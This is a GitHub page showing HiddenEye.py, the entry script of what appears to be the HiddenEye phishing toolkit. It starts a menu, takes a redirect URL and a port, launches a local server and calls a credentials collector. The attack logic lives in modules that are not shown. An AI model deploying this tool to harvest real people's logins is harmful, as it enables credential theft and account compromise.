forked from hanshaze/fish
-
Notifications
You must be signed in to change notification settings - Fork 10
/
HiddenEye.py
executable file
·56 lines (48 loc) · 2.05 KB
/
HiddenEye.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import multiprocessing
import ssl
from os import environ
import Defs.ActionManager.main_runner as main_runner
import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.simple_informant as simple_informant
import Defs.FeatureManager.feature_prompt as prompt
from controllers.EULA_controller import EULAController
from controllers.connection_controller import ConnectionController
if EULAController().check_eula_existence() is False:
EULAController().generate_new_eula()
if EULAController().check_eula_confirmation() is False:
EULAController().confirm_eula()
# if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
# ssl, "_create_unverified_context", None):
# ssl._create_default_https_context = ssl._create_unverified_context
# simple_informant.check_permissions()
# verCheck() # For now it's useless, i'll rewrite it later, after release.
########### simple_informant.check_php() # FIXME we have to replace PHP with Python
# checkLocalxpose()
ConnectionController().verify_connection()
# checkOpenport()
# checkPagekite()
# checkLT()
if __name__ == "__main__":
try:
main_runner.start_main_menu()
prompt.feature_prompt()
main_runner.enter_custom_redirecting_url()
port = simple_informant.port_selector()
##############
server_runner.start_server(port)
server_runner.server_selection(port)
multiprocessing.Process(target=server_runner.start_server,
args=(port, )).start()
simple_informant.credentials_collector()
except KeyboardInterrupt:
# When Keyword Interrupt Occurs script will use 8080 port.(Just To Remove Exception Errors)
port = "8080"
simple_informant.exit_message(port)
exit()